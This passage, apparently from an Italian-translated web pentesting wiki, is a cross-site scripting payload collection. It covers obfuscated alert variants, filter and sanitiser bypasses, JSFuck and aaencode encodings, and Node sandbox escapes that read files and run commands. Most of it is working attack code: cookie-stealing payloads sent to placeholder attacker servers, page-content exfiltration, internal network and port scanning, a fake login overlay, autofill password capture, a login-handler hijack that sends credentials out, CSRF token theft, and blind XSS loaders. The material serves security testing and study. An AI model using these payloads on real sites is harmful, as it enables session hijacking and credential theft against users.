window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Esiste del JS code che usa dati controllati in modo non sicuro da un attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
A causa dell'estensione della spiegazione di DOM vulnerabilities it was moved to this page:

DOM XSS

Lì troverai una spiegazione dettagliata di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle.
Inoltre, non dimenticare che alla fine del post menzionato puoi trovare una spiegazione su DOM Clobbering attacks.

Escalation di Self-XSS

Se riesci a scatenare una XSS inviando il payload dentro un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un subdomain vulnerabile a XSS, potresti abusare di questa XSS per iniettare un cookie in tutto il dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomain (quelli vulnerabili a cookie XSS). Per questo puoi usare il cookie tossing attack:

Cookie Tossing

Puoi trovare un ottimo abuso di questa tecnica in this blog post.

Sending your session to the admin

Forse un user può condividere il suo profile con l'admin e se il self XSS è dentro il profile dell'user e l'admin ci accede, scatterà la vulnerabilità.

Session Mirroring

Se trovi del self XSS e la web page ha una session mirroring for administrators, per esempio permettendo ai clienti di chiedere aiuto e affinché l'admin ti aiuti lui vedrà quello che stai vedendo nella tua session ma dalla sua session.

Potresti far sì che l'administrator trigger your self XSS e rubare i suoi cookies/session.

Other Bypasses

Normalised Unicode

Puoi controllare se i reflected values vengono unicode normalized sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

A causa di RoR mass assignment le virgolette vengono inserite nell'HTML e quindi la restrizione sulle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.
Esempio di form (da questo report), se invii il payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

La coppia "Key","Value" verrà restituita così:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Quindi, verrà inserito l'attributo onfocus e si verificherà XSS.

Combinazioni speciali

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Se scopri che puoi inject headers in a 302 Redirect response potresti provare a make the browser execute arbitrary JavaScript. Questo non è banale perché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un semplice cross-site scripting payload è inutile.

In this report and this one puoi leggere come puoi testare diversi protocolli dentro l'header Location e vedere se qualcuno di essi permette al browser di ispezionare ed eseguire il XSS payload all'interno del body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Solo lettere, numeri e punti

Se sei in grado di indicare la callback che javascript sta per eseguire limitata a quei caratteri. Read this section of this post per scoprire come abusare di questo comportamento.

Content-Types validi di <script> per XSS

(From here) Se provi a caricare uno script con un content-type come application/octet-stream, Chrome restituirà il seguente errore:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Gli unici Content-Type che permetteranno a Chrome di eseguire uno script caricato sono quelli all'interno della const kSupportedJavascriptTypes da https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipi di Script per XSS

(Da here) Quindi, quali tipi possono essere indicati per caricare uno script?

html
<script type="???"></script>

La risposta è:

  • module (predefinito, niente da spiegare)
  • webbundle: Web Bundles è una funzionalità che consente di raggruppare vari dati (HTML, CSS, JS…) in un file .wbn.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Consente di migliorare la sintassi degli import
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Questo comportamento è stato utilizzato in this writeup per rimappare una libreria su eval e abusarne in modo da poter innescare XSS.

  • speculationrules: Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types per XSS

(Da here) I seguenti content types possono eseguire XSS in tutti i browser:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? non nella lista ma penso di averlo visto in un CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

In altri browser altri Content-Types possono essere usati per eseguire JS arbitrario, controlla: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Se la pagina restituisce un content-type text/xml, è possibile indicare un namespace ed eseguire JS arbitrario:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Schemi di sostituzione speciali

Quando viene usato qualcosa come "some {{template}} data".replace("{{template}}", <user_input>). L'attaccante potrebbe usare special string replacements per cercare di bypassare alcune protezioni: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Per esempio in this writeup, questo è stato usato per eseguire l'escape di una stringa JSON all'interno di uno script ed eseguire codice arbitrario.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Se everything is undefined prima di eseguire codice non attendibile (come in this writeup) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non attendibile:

  • Usando import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Accesso indiretto a require

According to this i moduli vengono avvolti da Node.js all'interno di una funzione, come segue:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Quindi, se da quel modulo possiamo chiamare un'altra funzione, è possibile usare arguments.callee.caller.arguments[1] da quella funzione per accedere a require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

In modo analogo all'esempio precedente, è possibile use error handlers per accedere al wrapper del modulo e ottenere la funzione require:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

Payloads comuni per XSS

Diversi payloads in 1

Steal Info JS

Trappola Iframe

Far navigare l'utente nella pagina senza uscire dall'iframe e rubare le sue azioni (incluse le informazioni inviate nei form):

Iframe Traps

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Non potrai accedere ai cookies da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai alcuni modi per bypassare questa protezione se sei abbastanza fortunato.

Rubare il contenuto della pagina

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Trovare IP interni

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

I tempi brevi indicano una porta che risponde I tempi più lunghi indicano nessuna risposta.

Consulta la lista delle porte bloccate in Chrome here e in Firefox here.

Box per richiedere le credenziali

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Cattura delle password autocompilate

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Quando vengono inseriti dati nel campo password, il username e la password vengono inviati al attackers server; anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Se un handler critico (e.g., function DoLogin(){...}) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (e.g., via un inline JS-in-JS sink), definisci prima un const con lo stesso nome per anticipare e bloccare l'handler. Dichiarazioni di funzione successive non possono riassegnare un nome const, lasciando il tuo hook al controllo:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Note

  • Questo si basa sull'ordine di esecuzione: la tua injection deve eseguire prima della dichiarazione legittima.
  • Se il tuo payload è incapsulato in eval(...), i binding const/let non diventeranno globali. Usa la tecnica di injection dinamica con <script> dalla sezione “Deliverable payloads with eval(atob()) and scope nuances” per garantire un binding globale reale e non riassegnabile.
  • Quando i filtri per keyword bloccano il codice, combinali con identificatori Unicode-escaped o con la delivery eval(atob('...')), come mostrato sopra.

Keylogger

Cercando su github ho trovato alcuni esempi diversi:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Rubare messaggi PostMessage

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abuso dei Service Workers

Abusing Service Workers

Accesso allo Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Payloads per Blind XSS

Puoi anche usare: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
